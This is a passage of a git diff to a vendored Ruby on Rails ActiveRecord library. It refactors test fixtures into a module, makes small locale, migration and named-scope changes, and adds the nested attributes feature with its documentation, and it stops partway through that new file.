-    class TestCase #:nodoc:
-      setup :setup_fixtures
-      teardown :teardown_fixtures
+module ActiveRecord
+  module TestFixtures
+    def self.included(base)
+      base.class_eval do
+        setup :setup_fixtures
+        teardown :teardown_fixtures
 
-      superclass_delegating_accessor :fixture_path
-      superclass_delegating_accessor :fixture_table_names
-      superclass_delegating_accessor :fixture_class_names
-      superclass_delegating_accessor :use_transactional_fixtures
-      superclass_delegating_accessor :use_instantiated_fixtures   # true, false, or :no_instances
-      superclass_delegating_accessor :pre_loaded_fixtures
+        superclass_delegating_accessor :fixture_path
+        superclass_delegating_accessor :fixture_table_names
+        superclass_delegating_accessor :fixture_class_names
+        superclass_delegating_accessor :use_transactional_fixtures
+        superclass_delegating_accessor :use_instantiated_fixtures   # true, false, or :no_instances
+        superclass_delegating_accessor :pre_loaded_fixtures
 
-      self.fixture_table_names = []
-      self.use_transactional_fixtures = false
-      self.use_instantiated_fixtures = true
-      self.pre_loaded_fixtures = false
+        self.fixture_table_names = []
+        self.use_transactional_fixtures = false
+        self.use_instantiated_fixtures = true
+        self.pre_loaded_fixtures = false
 
-      @@already_loaded_fixtures = {}
-      self.fixture_class_names = {}
-
-      class << self
-        def set_fixture_class(class_names = {})
-          self.fixture_class_names = self.fixture_class_names.merge(class_names)
-        end
-
-        def fixtures(*table_names)
-          if table_names.first == :all
-            table_names = Dir["#{fixture_path}/*.yml"] + Dir["#{fixture_path}/*.csv"]
-            table_names.map! { |f| File.basename(f).split('.')[0..-2].join('.') }
-          else
-            table_names = table_names.flatten.map { |n| n.to_s }
-          end
-
-          self.fixture_table_names |= table_names
-          require_fixture_classes(table_names)
-          setup_fixture_accessors(table_names)
-        end
-
-        def try_to_load_dependency(file_name)
-          require_dependency file_name
-        rescue LoadError => e
-          # Let's hope the developer has included it himself
-
-          # Let's warn in case this is a subdependency, otherwise
-          # subdependency error messages are totally cryptic
-          if ActiveRecord::Base.logger
-            ActiveRecord::Base.logger.warn("Unable to load #{file_name}, underlying cause #{e.message} \n\n #{e.backtrace.join("\n")}")
-          end
-        end
-
-        def require_fixture_classes(table_names = nil)
-          (table_names || fixture_table_names).each do |table_name|
-            file_name = table_name.to_s
-            file_name = file_name.singularize if ActiveRecord::Base.pluralize_table_names
-            try_to_load_dependency(file_name)
-          end
-        end
-
-        def setup_fixture_accessors(table_names = nil)
-          table_names = [table_names] if table_names && !table_names.respond_to?(:each)
-          (table_names || fixture_table_names).each do |table_name|
-            table_name = table_name.to_s.tr('.', '_')
-
-            define_method(table_name) do |*fixtures|
-              force_reload = fixtures.pop if fixtures.last == true || fixtures.last == :reload
-
-              @fixture_cache[table_name] ||= {}
-
-              instances = fixtures.map do |fixture|
-                @fixture_cache[table_name].delete(fixture) if force_reload
-
-                if @loaded_fixtures[table_name][fixture.to_s]
-                  @fixture_cache[table_name][fixture] ||= @loaded_fixtures[table_name][fixture.to_s].find
-                else
-                  raise StandardError, "No fixture with name '#{fixture}' found for table '#{table_name}'"
-                end
-              end
-
-              instances.size == 1 ? instances.first : instances
-            end
-          end
-        end
-
-        def uses_transaction(*methods)
-          @uses_transaction = [] unless defined?(@uses_transaction)
-          @uses_transaction.concat methods.map(&:to_s)
-        end
-
-        def uses_transaction?(method)
-          @uses_transaction = [] unless defined?(@uses_transaction)
-          @uses_transaction.include?(method.to_s)
-        end
+        self.fixture_class_names = {}
       end
 
-      def use_transactional_fixtures?
-        use_transactional_fixtures &&
-          !self.class.uses_transaction?(method_name)
-      end
-
-      def setup_fixtures
-        return unless defined?(ActiveRecord) && !ActiveRecord::Base.configurations.blank?
-
-        if pre_loaded_fixtures && !use_transactional_fixtures
-          raise RuntimeError, 'pre_loaded_fixtures requires use_transactional_fixtures'
-        end
-
-        @fixture_cache = {}
-
-        # Load fixtures once and begin transaction.
-        if use_transactional_fixtures?
-          if @@already_loaded_fixtures[self.class]
-            @loaded_fixtures = @@already_loaded_fixtures[self.class]
-          else
-            load_fixtures
-            @@already_loaded_fixtures[self.class] = @loaded_fixtures
-          end
-          ActiveRecord::Base.connection.increment_open_transactions
-          ActiveRecord::Base.connection.begin_db_transaction
-        # Load fixtures for every test.
-        else
-          Fixtures.reset_cache
-          @@already_loaded_fixtures[self.class] = nil
-          load_fixtures
-        end
-
-        # Instantiate fixtures for every test if requested.
-        instantiate_fixtures if use_instantiated_fixtures
-      end
-
-      def teardown_fixtures
-        return unless defined?(ActiveRecord) && !ActiveRecord::Base.configurations.blank?
-
-        unless use_transactional_fixtures?
-          Fixtures.reset_cache
-        end
-
-        # Rollback changes if a transaction is active.
-        if use_transactional_fixtures? && ActiveRecord::Base.connection.open_transactions != 0
-          ActiveRecord::Base.connection.rollback_db_transaction
-          ActiveRecord::Base.connection.decrement_open_transactions
-        end
-        ActiveRecord::Base.clear_active_connections!
-      end
-
-      private
-        def load_fixtures
-          @loaded_fixtures = {}
-          fixtures = Fixtures.create_fixtures(fixture_path, fixture_table_names, fixture_class_names)
-          unless fixtures.nil?
-            if fixtures.instance_of?(Fixtures)
-              @loaded_fixtures[fixtures.name] = fixtures
-            else
-              fixtures.each { |f| @loaded_fixtures[f.name] = f }
-            end
-          end
-        end
-
-        # for pre_loaded_fixtures, only require the classes once. huge speed improvement
-        @@required_fixture_classes = false
-
-        def instantiate_fixtures
-          if pre_loaded_fixtures
-            raise RuntimeError, 'Load fixtures before instantiating them.' if Fixtures.all_loaded_fixtures.empty?
-            unless @@required_fixture_classes
-              self.class.require_fixture_classes Fixtures.all_loaded_fixtures.keys
-              @@required_fixture_classes = true
-            end
-            Fixtures.instantiate_all_loaded_fixtures(self, load_instances?)
-          else
-            raise RuntimeError, 'Load fixtures before instantiating them.' if @loaded_fixtures.nil?
-            @loaded_fixtures.each do |table_name, fixtures|
-              Fixtures.instantiate_fixtures(self, table_name, fixtures, load_instances?)
-            end
-          end
-        end
-
-        def load_instances?
-          use_instantiated_fixtures != :no_instances
-        end
+      base.extend ClassMethods
     end
+
+    module ClassMethods
+      def set_fixture_class(class_names = {})
+        self.fixture_class_names = self.fixture_class_names.merge(class_names)
+      end
+
+      def fixtures(*table_names)
+        if table_names.first == :all
+          table_names = Dir["#{fixture_path}/*.yml"] + Dir["#{fixture_path}/*.csv"]
+          table_names.map! { |f| File.basename(f).split('.')[0..-2].join('.') }
+        else
+          table_names = table_names.flatten.map { |n| n.to_s }
+        end
+
+        self.fixture_table_names |= table_names
+        require_fixture_classes(table_names)
+        setup_fixture_accessors(table_names)
+      end
+
+      def try_to_load_dependency(file_name)
+        require_dependency file_name
+      rescue LoadError => e
+        # Let's hope the developer has included it himself
+
+        # Let's warn in case this is a subdependency, otherwise
+        # subdependency error messages are totally cryptic
+        if ActiveRecord::Base.logger
+          ActiveRecord::Base.logger.warn("Unable to load #{file_name}, underlying cause #{e.message} \n\n #{e.backtrace.join("\n")}")
+        end
+      end
+
+      def require_fixture_classes(table_names = nil)
+        (table_names || fixture_table_names).each do |table_name|
+          file_name = table_name.to_s
+          file_name = file_name.singularize if ActiveRecord::Base.pluralize_table_names
+          try_to_load_dependency(file_name)
+        end
+      end
+
+      def setup_fixture_accessors(table_names = nil)
+        table_names = [table_names] if table_names && !table_names.respond_to?(:each)
+        (table_names || fixture_table_names).each do |table_name|
+          table_name = table_name.to_s.tr('.', '_')
+
+          define_method(table_name) do |*fixtures|
+            force_reload = fixtures.pop if fixtures.last == true || fixtures.last == :reload
+
+            @fixture_cache[table_name] ||= {}
+
+            instances = fixtures.map do |fixture|
+              @fixture_cache[table_name].delete(fixture) if force_reload
+
+              if @loaded_fixtures[table_name][fixture.to_s]
+                @fixture_cache[table_name][fixture] ||= @loaded_fixtures[table_name][fixture.to_s].find
+              else
+                raise StandardError, "No fixture with name '#{fixture}' found for table '#{table_name}'"
+              end
+            end
+
+            instances.size == 1 ? instances.first : instances
+          end
+        end
+      end
+
+      def uses_transaction(*methods)
+        @uses_transaction = [] unless defined?(@uses_transaction)
+        @uses_transaction.concat methods.map(&:to_s)
+      end
+
+      def uses_transaction?(method)
+        @uses_transaction = [] unless defined?(@uses_transaction)
+        @uses_transaction.include?(method.to_s)
+      end
+    end
+
+    def run_in_transaction?
+      use_transactional_fixtures &&
+        !self.class.uses_transaction?(method_name)
+    end
+
+    def setup_fixtures
+      return unless defined?(ActiveRecord) && !ActiveRecord::Base.configurations.blank?
+
+      if pre_loaded_fixtures && !use_transactional_fixtures
+        raise RuntimeError, 'pre_loaded_fixtures requires use_transactional_fixtures'
+      end
+
+      @fixture_cache = {}
+      @@already_loaded_fixtures ||= {}
+
+      # Load fixtures once and begin transaction.
+      if run_in_transaction?
+        if @@already_loaded_fixtures[self.class]
+          @loaded_fixtures = @@already_loaded_fixtures[self.class]
+        else
+          load_fixtures
+          @@already_loaded_fixtures[self.class] = @loaded_fixtures
+        end
+        ActiveRecord::Base.connection.increment_open_transactions
+        ActiveRecord::Base.connection.transaction_joinable = false
+        ActiveRecord::Base.connection.begin_db_transaction
+      # Load fixtures for every test.
+      else
+        Fixtures.reset_cache
+        @@already_loaded_fixtures[self.class] = nil
+        load_fixtures
+      end
+
+      # Instantiate fixtures for every test if requested.
+      instantiate_fixtures if use_instantiated_fixtures
+    end
+
+    def teardown_fixtures
+      return unless defined?(ActiveRecord) && !ActiveRecord::Base.configurations.blank?
+
+      unless run_in_transaction?
+        Fixtures.reset_cache
+      end
+
+      # Rollback changes if a transaction is active.
+      if run_in_transaction? && ActiveRecord::Base.connection.open_transactions != 0
+        ActiveRecord::Base.connection.rollback_db_transaction
+        ActiveRecord::Base.connection.decrement_open_transactions
+      end
+      ActiveRecord::Base.clear_active_connections!
+    end
+
+    private
+      def load_fixtures
+        @loaded_fixtures = {}
+        fixtures = Fixtures.create_fixtures(fixture_path, fixture_table_names, fixture_class_names)
+        unless fixtures.nil?
+          if fixtures.instance_of?(Fixtures)
+            @loaded_fixtures[fixtures.name] = fixtures
+          else
+            fixtures.each { |f| @loaded_fixtures[f.name] = f }
+          end
+        end
+      end
+
+      # for pre_loaded_fixtures, only require the classes once. huge speed improvement
+      @@required_fixture_classes = false
+
+      def instantiate_fixtures
+        if pre_loaded_fixtures
+          raise RuntimeError, 'Load fixtures before instantiating them.' if Fixtures.all_loaded_fixtures.empty?
+          unless @@required_fixture_classes
+            self.class.require_fixture_classes Fixtures.all_loaded_fixtures.keys
+            @@required_fixture_classes = true
+          end
+          Fixtures.instantiate_all_loaded_fixtures(self, load_instances?)
+        else
+          raise RuntimeError, 'Load fixtures before instantiating them.' if @loaded_fixtures.nil?
+          @loaded_fixtures.each do |table_name, fixtures|
+            Fixtures.instantiate_fixtures(self, table_name, fixtures, load_instances?)
+          end
+        end
+      end
+
+      def load_instances?
+        use_instantiated_fixtures != :no_instances
+      end
   end
 end
diff --git a/vendor/rails/activerecord/lib/active_record/i18n_interpolation_deprecation.rb b/vendor/rails/activerecord/lib/active_record/i18n_interpolation_deprecation.rb
index cd634e1b..ccb0cac0 100644
--- a/vendor/rails/activerecord/lib/active_record/i18n_interpolation_deprecation.rb
+++ b/vendor/rails/activerecord/lib/active_record/i18n_interpolation_deprecation.rb
@@ -10,7 +10,7 @@ module I18n
 
       protected
         def interpolate_with_deprecated_syntax(locale, string, values = {})
-          return string unless string.is_a?(String)
+          return string unless string.is_a?(String) && !values.empty?
 
           string = string.gsub(/%d|%s/) do |s|
             instead = DEPRECATED_INTERPOLATORS[s]
diff --git a/vendor/rails/activerecord/lib/active_record/locale/en.yml b/vendor/rails/activerecord/lib/active_record/locale/en.yml
index 7e205435..2813524d 100644
--- a/vendor/rails/activerecord/lib/active_record/locale/en.yml
+++ b/vendor/rails/activerecord/lib/active_record/locale/en.yml
@@ -23,8 +23,12 @@ en:
         less_than_or_equal_to: "must be less than or equal to {{count}}"
         odd: "must be odd"
         even: "must be even"
+        record_invalid: "Validation failed: {{errors}}"
         # Append your own errors here or at the model/attributes scope.
 
+      full_messages:
+        format: "{{attribute}} {{message}}"
+
       # You can define own errors for models or model attributes.
       # The values :model, :attribute and :value are always available for interpolation.
       #
@@ -37,7 +41,7 @@ en:
       #           blank: "This is a custom blank message for User login"
       # Will define custom blank validation message for User model and 
       # custom blank validation message for login attribute of User model.
-      models:
+      #models:
         
     # Translate model names. Used in Model.human_name().
     #models:
diff --git a/vendor/rails/activerecord/lib/active_record/locking/pessimistic.rb b/vendor/rails/activerecord/lib/active_record/locking/pessimistic.rb
index 32065959..fcc9ebb4 100644
--- a/vendor/rails/activerecord/lib/active_record/locking/pessimistic.rb
+++ b/vendor/rails/activerecord/lib/active_record/locking/pessimistic.rb
@@ -1,25 +1,3 @@
-# Copyright (c) 2006 Shugo Maeda <shugo@ruby-lang.org>
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject
-# to the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
-# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR
-# ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
-# CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
-
 module ActiveRecord
   module Locking
     # Locking::Pessimistic provides support for row-level locking using
diff --git a/vendor/rails/activerecord/lib/active_record/migration.rb b/vendor/rails/activerecord/lib/active_record/migration.rb
index 1d843fff..657acd6d 100644
--- a/vendor/rails/activerecord/lib/active_record/migration.rb
+++ b/vendor/rails/activerecord/lib/active_record/migration.rb
@@ -130,7 +130,9 @@ module ActiveRecord
   # To run migrations against the currently configured database, use
   # <tt>rake db:migrate</tt>. This will update the database by running all of the
   # pending migrations, creating the <tt>schema_migrations</tt> table
-  # (see "About the schema_migrations table" section below) if missing.
+  # (see "About the schema_migrations table" section below) if missing. It will also 
+  # invoke the db:schema:dump task, which will update your db/schema.rb file
+  # to match the structure of your database.
   #
   # To roll the database back to a previous migration version, use
   # <tt>rake db:migrate VERSION=X</tt> where <tt>X</tt> is the version to which
@@ -336,6 +338,10 @@ module ActiveRecord
         self.verbose = save
       end
 
+      def connection
+        ActiveRecord::Base.connection
+      end
+
       def method_missing(method, *arguments, &block)
         arg_list = arguments.map(&:inspect) * ', '
 
@@ -343,7 +349,7 @@ module ActiveRecord
           unless arguments.empty? || method == :execute
             arguments[0] = Migrator.proper_table_name(arguments.first)
           end
-          ActiveRecord::Base.connection.send(method, *arguments, &block)
+          connection.send(method, *arguments, &block)
         end
       end
     end
diff --git a/vendor/rails/activerecord/lib/active_record/named_scope.rb b/vendor/rails/activerecord/lib/active_record/named_scope.rb
index 83043c2c..0b772241 100644
--- a/vendor/rails/activerecord/lib/active_record/named_scope.rb
+++ b/vendor/rails/activerecord/lib/active_record/named_scope.rb
@@ -1,11 +1,12 @@
 module ActiveRecord
   module NamedScope
-    # All subclasses of ActiveRecord::Base have two named \scopes:
-    # * <tt>all</tt> - which is similar to a <tt>find(:all)</tt> query, and
+    # All subclasses of ActiveRecord::Base have one named scope:
     # * <tt>scoped</tt> - which allows for the creation of anonymous \scopes, on the fly: <tt>Shirt.scoped(:conditions => {:color => 'red'}).scoped(:include => :washing_instructions)</tt>
     #
     # These anonymous \scopes tend to be useful when procedurally generating complex queries, where passing
     # intermediate values (scopes) around as first-class objects is convenient.
+    #
+    # You can define a scope that applies to all finders using ActiveRecord::Base.default_scope.
     def self.included(base)
       base.class_eval do
         extend ClassMethods
@@ -39,7 +40,7 @@ module ActiveRecord
       # Nested finds and calculations also work with these compositions: <tt>Shirt.red.dry_clean_only.count</tt> returns the number of garments
       # for which these criteria obtain. Similarly with <tt>Shirt.red.dry_clean_only.average(:thread_count)</tt>.
       #
-      # All \scopes are available as class methods on the ActiveRecord::Base descendent upon which the \scopes were defined. But they are also available to
+      # All \scopes are available as class methods on the ActiveRecord::Base descendant upon which the \scopes were defined. But they are also available to
       # <tt>has_many</tt> associations. If,
       #
       #   class Person < ActiveRecord::Base
@@ -98,9 +99,9 @@ module ActiveRecord
         end
       end
     end
-    
+
     class Scope
-      attr_reader :proxy_scope, :proxy_options
+      attr_reader :proxy_scope, :proxy_options, :current_scoped_methods_when_defined
       NON_DELEGATE_METHODS = %w(nil? send object_id class extend find size count sum average maximum minimum paginate first last empty? any? respond_to?).to_set
       [].methods.each do |m|
         unless m =~ /^__/ || NON_DELEGATE_METHODS.include?(m.to_s)
@@ -108,11 +109,15 @@ module ActiveRecord
         end
       end
 
-      delegate :scopes, :with_scope, :to => :proxy_scope
+      delegate :scopes, :with_scope, :scoped_methods, :to => :proxy_scope
 
       def initialize(proxy_scope, options, &block)
+        options ||= {}
         [options[:extend]].flatten.each { |extension| extend extension } if options[:extend]
         extend Module.new(&block) if block_given?
+        unless Scope === proxy_scope
+          @current_scoped_methods_when_defined = proxy_scope.send(:current_scoped_methods)
+        end
         @proxy_scope, @proxy_options = proxy_scope, options.except(:extend)
       end
 
@@ -166,9 +171,15 @@ module ActiveRecord
         if scopes.include?(method)
           scopes[method].call(self, *args)
         else
-          with_scope :find => proxy_options, :create => proxy_options[:conditions].is_a?(Hash) ?  proxy_options[:conditions] : {} do
+          with_scope({:find => proxy_options, :create => proxy_options[:conditions].is_a?(Hash) ?  proxy_options[:conditions] : {}}, :reverse_merge) do
             method = :new if method == :build
-            proxy_scope.send(method, *args, &block)
+            if current_scoped_methods_when_defined && !scoped_methods.include?(current_scoped_methods_when_defined)
+              with_scope current_scoped_methods_when_defined do
+                proxy_scope.send(method, *args, &block)
+              end
+            else
+              proxy_scope.send(method, *args, &block)
+            end
           end
         end
       end
diff --git a/vendor/rails/activerecord/lib/active_record/nested_attributes.rb b/vendor/rails/activerecord/lib/active_record/nested_attributes.rb
new file mode 100644
index 00000000..d61ee90c
--- /dev/null
+++ b/vendor/rails/activerecord/lib/active_record/nested_attributes.rb
@@ -0,0 +1,392 @@
+module ActiveRecord
+  module NestedAttributes #:nodoc:
+    class TooManyRecords < ActiveRecordError
+    end
+
+    def self.included(base)
+      base.extend(ClassMethods)
+      base.class_inheritable_accessor :nested_attributes_options, :instance_writer => false
+      base.nested_attributes_options = {}
+    end
+
+    # == Nested Attributes
+    #
+    # Nested attributes allow you to save attributes on associated records
+    # through the parent. By default nested attribute updating is turned off,
+    # you can enable it using the accepts_nested_attributes_for class method.
+    # When you enable nested attributes an attribute writer is defined on
+    # the model.
+    #
+    # The attribute writer is named after the association, which means that
+    # in the following example, two new methods are added to your model:
+    # <tt>author_attributes=(attributes)</tt> and
+    # <tt>pages_attributes=(attributes)</tt>.
+    #
+    #   class Book < ActiveRecord::Base
+    #     has_one :author
+    #     has_many :pages
+    #
+    #     accepts_nested_attributes_for :author, :pages
+    #   end
+    #
+    # Note that the <tt>:autosave</tt> option is automatically enabled on every
+    # association that accepts_nested_attributes_for is used for.
+    #
+    # === One-to-one
+    #
+    # Consider a Member model that has one Avatar:
+    #
+    #   class Member < ActiveRecord::Base
+    #     has_one :avatar
+    #     accepts_nested_attributes_for :avatar
+    #   end
+    #
+    # Enabling nested attributes on a one-to-one association allows you to
+    # create the member and avatar in one go:
+    #
+    #   params = { :member => { :name => 'Jack', :avatar_attributes => { :icon => 'smiling' } } }
+    #   member = Member.create(params)
+    #   member.avatar.id # => 2
+    #   member.avatar.icon # => 'smiling'
+    #
+    # It also allows you to update the avatar through the member:
+    #
+    #   params = { :member' => { :avatar_attributes => { :id => '2', :icon => 'sad' } } }
+    #   member.update_attributes params['member']
+    #   member.avatar.icon # => 'sad'
+    #
+    # By default you will only be able to set and update attributes on the
+    # associated model. If you want to destroy the associated model through the
+    # attributes hash, you have to enable it first using the
+    # <tt>:allow_destroy</tt> option.
+    #
+    #   class Member < ActiveRecord::Base
+    #     has_one :avatar
+    #     accepts_nested_attributes_for :avatar, :allow_destroy => true
+    #   end
+    #
+    # Now, when you add the <tt>_destroy</tt> key to the attributes hash, with a
+    # value that evaluates to +true+, you will destroy the associated model:
+    #
+    #   member.avatar_attributes = { :id => '2', :_destroy => '1' }
+    #   member.avatar.marked_for_destruction? # => true
+    #   member.save
+    #   member.avatar #=> nil
+    #
+    # Note that the model will _not_ be destroyed until the parent is saved.
+    #
+    # === One-to-many
+    #
+    # Consider a member that has a number of posts:
+    #
+    #   class Member < ActiveRecord::Base
+    #     has_many :posts
+    #     accepts_nested_attributes_for :posts
+    #   end
+    #
+    # You can now set or update attributes on an associated post model through
+    # the attribute hash.
+    #
+    # For each hash that does _not_ have an <tt>id</tt> key a new record will
+    # be instantiated, unless the hash also contains a <tt>_destroy</tt> key
+    # that evaluates to +true+.
+    #
+    #   params = { :member => {
+    #     :name => 'joe', :posts_attributes => [
+    #       { :title => 'Kari, the awesome Ruby documentation browser!' },
+    #       { :title => 'The egalitarian assumption of the modern citizen' },
+    #       { :title => '', :_destroy => '1' } # this will be ignored
+    #     ]
+    #   }}
+    #
+    #   member = Member.create(params['member'])
+    #   member.posts.length # => 2
+    #   member.posts.first.title # => 'Kari, the awesome Ruby documentation browser!'
+    #   member.posts.second.title # => 'The egalitarian assumption of the modern citizen'
+    #
+    # You may also set a :reject_if proc to silently ignore any new record
+    # hashes if they fail to pass your criteria. For example, the previous
+    # example could be rewritten as:
+    #
+    #    class Member < ActiveRecord::Base
+    #      has_many :posts
+    #      accepts_nested_attributes_for :posts, :reject_if => proc { |attributes| attributes['title'].blank? }
+    #    end
+    #
+    #   params = { :member => {
+    #     :name => 'joe', :posts_attributes => [
+    #       { :title => 'Kari, the awesome Ruby documentation browser!' },
+    #       { :title => 'The egalitarian assumption of the modern citizen' },
+    #       { :title => '' } # this will be ignored because of the :reject_if proc
+    #     ]
+    #   }}
+    #
+    #   member = Member.create(params['member'])
+    #   member.posts.length # => 2
+    #   member.posts.first.title # => 'Kari, the awesome Ruby documentation browser!'
+    #   member.posts.second.title # => 'The egalitarian assumption of the modern citizen'
+    #
+    #  Alternatively, :reject_if also accepts a symbol for using methods:
+    #
+    #    class Member < ActiveRecord::Base
+    #      has_many :posts
+    #      accepts_nested_attributes_for :posts, :reject_if => :new_record?
+    #    end
+    #
+    #    class Member < ActiveRecord::Base
+    #      has_many :posts
+    #      accepts_nested_attributes_for :posts, :reject_if => :reject_posts
+    #
+    #      def reject_posts(attributed)
+    #        attributed['title].blank?
+    #      end
+    #    end
+    #
+    # If the hash contains an <tt>id</tt> key that matches an already
+    # associated record, the matching record will be modified:
+    #
+    #   member.attributes = {
+    #     :name => 'Joe',
+    #     :posts_attributes => [
+    #       { :id => 1, :title => '[UPDATED] An, as of yet, undisclosed awesome Ruby documentation browser!' },
+    #       { :id => 2, :title => '[UPDATED] other post' }
+    #     ]
+    #   }
+    #
+    #   member.posts.first.title # => '[UPDATED] An, as of yet, undisclosed awesome Ruby documentation browser!'
+    #   member.posts.second.title # => '[UPDATED] other post'
+    #
+    # By default the associated records are protected from being destroyed. If
+    # you want to destroy any of the associated records through the attributes
+    # hash, you have to enable it first using the <tt>:allow_destroy</tt>
+    # option. This will allow you to also use the <tt>_destroy</tt> key to
+    # destroy existing records:
+    #
+    #   class Member < ActiveRecord::Base
+    #     has_many :posts
+    #     accepts_nested_attributes_for :posts, :allow_destroy => true
+    #   end
+    #
+    #   params = { :member => {
+    #     :posts_attributes => [{ :id => '2', :_destroy => '1' }]
+    #   }}
+    #
+    #   member.attributes = params['member']
+    #   member.posts.detect { |p| p.id == 2 }.marked_for_destruction? # => true
+    #   member.posts.length #=> 2
+    #   member.save
+    #   member.posts.length # => 1
+    #
+    # === Saving
+    #
+    # All changes to models, including the destruction of those marked for
+    # destruction, are saved and destroyed automatically and atomically when
+    # the parent model is saved. This happens inside the transaction initiated
+    # by the parents save method. See ActiveRecord::AutosaveAssociation.
+    module ClassMethods
+      # Defines an attributes writer for the specified association(s). If you
+      # are using <tt>attr_protected</tt> or <tt>attr_accessible</tt>, then you
+      # will need to add the attribute writer to the allowed list.
+      #
+      # Supported options:
+      # [:allow_destroy]
+      #   If true, destroys any members from the attributes hash with a
+      #   <tt>_destroy</tt> key and a value that evaluates to +true+
+      #   (eg. 1, '1', true, or 'true'). This option is off by default.
+      # [:reject_if]
+      #   Allows you to specify a Proc or a Symbol pointing to a method
+      #   that checks whether a record should be built for a certain attribute
+      #   hash. The hash is passed to the supplied Proc or the method
+      #   and it should return either +true+ or +false+. When no :reject_if
+      #   is specified, a record will be built for all attribute hashes that
+      #   do not have a <tt>_destroy</tt> value that evaluates to true.
+      #   Passing <tt>:all_blank</tt> instead of a Proc will create a proc
+      #   that will reject a record where all the attributes are blank.
+      # [:limit]
+      #   Allows you to specify the maximum number of the associated records that
+      #   can be processes with the nested attributes. If the size of the
+      #   nested attributes array exceeds the specified limit, NestedAttributes::TooManyRecords
+      #   exception is raised. If omitted, any number associations can be processed.
+      #   Note that the :limit option is only applicable to one-to-many associations.
+      #
+      # Examples:
+      #   # creates avatar_attributes=
+      #   accepts_nested_attributes_for :avatar, :reject_if => proc { |attributes| attributes['name'].blank? }
+      #   # creates avatar_attributes= and posts_attributes=
+      #   accepts_nested_attributes_for :avatar, :posts, :allow_destroy => true
+      def accepts_nested_attributes_for(*attr_names)
+        options = { :allow_destroy => false }
+        options.update(attr_names.extract_options!)
+        options.assert_valid_keys(:allow_destroy, :reject_if, :limit)
+
+        attr_names.each do |association_name|
+          if reflection = reflect_on_association(association_name)
+            type = case reflection.macro
+            when :has_one, :belongs_to
+              :one_to_one
+            when :has_many, :has_and_belongs_to_many
+              :collection
+            end
+
+            reflection.options[:autosave] = true
+            self.nested_attributes_options[association_name.to_sym] = options
+
+            # def pirate_attributes=(attributes)
+            #   assign_nested_attributes_for_one_to_one_association(:pirate, attributes, false)
+            # end
+            class_eval %{
+              def #{association_name}_attributes=(attributes)
+                assign_nested_attributes_for_#{type}_association(:#{association_name}, attributes)
+              end
+            }, __FILE__, __LINE__
+
+            add_autosave_association_callbacks(reflection)
+          else
+            raise ArgumentError, "No association found for name `#{association_name}'. Has it been defined yet?"
+          end
+        end
+      end
+    end
+
+    # Returns ActiveRecord::AutosaveAssociation::marked_for_destruction? It's
+    # used in conjunction with fields_for to build a form element for the
+    # destruction of this association.
+    #
+    # See ActionView::Helpers::FormHelper::fields_for for more info.
+    def _destroy
+      marked_for_destruction?
+    end
+
+    # Deal with deprecated _delete.
+    #
+    def _delete #:nodoc:
+      ActiveSupport::Deprecation.warn "_delete is deprecated in nested attributes. Use _destroy instead."
+      _destroy
+    end
+
+    private
+
+    # Attribute hash keys that should not be assigned as normal attributes.
+    # These hash keys are nested attributes implementation details.
+    #
+    # TODO Remove _delete from UNASSIGNABLE_KEYS when deprecation warning are
+    # removed.
+    UNASSIGNABLE_KEYS = %w( id _destroy _delete )
+
+    # Assigns the given attributes to the association.
+    #
+    # If the given attributes include an <tt>:id</tt> that matches the existing
+    # record’s id, then the existing record will be modified. Otherwise a new
+    # record will be built.
+    #
+    # If the given attributes include a matching <tt>:id</tt> attribute _and_ a
+    # <tt>:_destroy</tt> key set to a truthy value, then the existing record
+    # will be marked for destruction.
+    def assign_nested_attributes_for_one_to_one_association(association_name, attributes)
+      options = self.nested_attributes_options[association_name]
+      attributes = attributes.with_indifferent_access
+
+      if attributes['id'].blank?
+        unless reject_new_record?(association_name, attributes)
+          method = "build_#{association_name}"
+          if respond_to?(method)
+            send(method, attributes.except(*UNASSIGNABLE_KEYS))
+          else
+            raise ArgumentError, "Cannot build association #{association_name}. Are you trying to build a polymorphic one-to-one association?"
+          end
+        end
+      elsif (existing_record = send(association_name)) && existing_record.id.to_s == attributes['id'].to_s
+        assign_to_or_mark_for_destruction(existing_record, attributes, options[:allow_destroy])
+      end
+    end
+
+    # Assigns the given attributes to the collection association.
+    #
+    # Hashes with an <tt>:id</tt> value matching an existing associated record
+    # will update that record. Hashes without an <tt>:id</tt> value will build
+    # a new record for the association. Hashes with a matching <tt>:id</tt>
+    # value and a <tt>:_destroy</tt> key set to a truthy value will mark the
+    # matched record for destruction.
+    #
+    # For example:
+    #
+    #   assign_nested_attributes_for_collection_association(:people, {
+    #     '1' => { :id => '1', :name => 'Peter' },
+    #     '2' => { :name => 'John' },
+    #     '3' => { :id => '2', :_destroy => true }
+    #   })
+    #
+    # Will update the name of the Person with ID 1, build a new associated
+    # person with the name `John', and mark the associatied Person with ID 2
+    # for destruction.
+    #
+    # Also accepts an Array of attribute hashes:
+    #
+    #   assign_nested_attributes_for_collection_association(:people, [
+    #     { :id => '1', :name => 'Peter' },
+    #     { :name => 'John' },
+    #     { :id => '2', :_destroy => true }
+    #   ])
+    def assign_nested_attributes_for_collection_association(association_name, attributes_collection)
+      options = self.nested_attributes_options[association_name]
+
+      unless attributes_collection.is_a?(Hash) || attributes_collection.is_a?(Array)
+        raise ArgumentError, "Hash or Array expected, got #{attributes_collection.class.name} (#{attributes_collection.inspect})"
+      end
+
+      if options[:limit] && attributes_collection.size > options[:limit]
+        raise TooManyRecords, "Maximum #{options[:limit]} records are allowed. Got #{attributes_collection.size} records instead."
+      end
+
+      if attributes_collection.is_a? Hash
+        attributes_collection = attributes_collection.sort_by { |index, _| index.to_i }.map { |_, attributes| attributes }
+      end
+
+      attributes_collection.each do |attributes|
+        attributes = attributes.with_indifferent_access
+
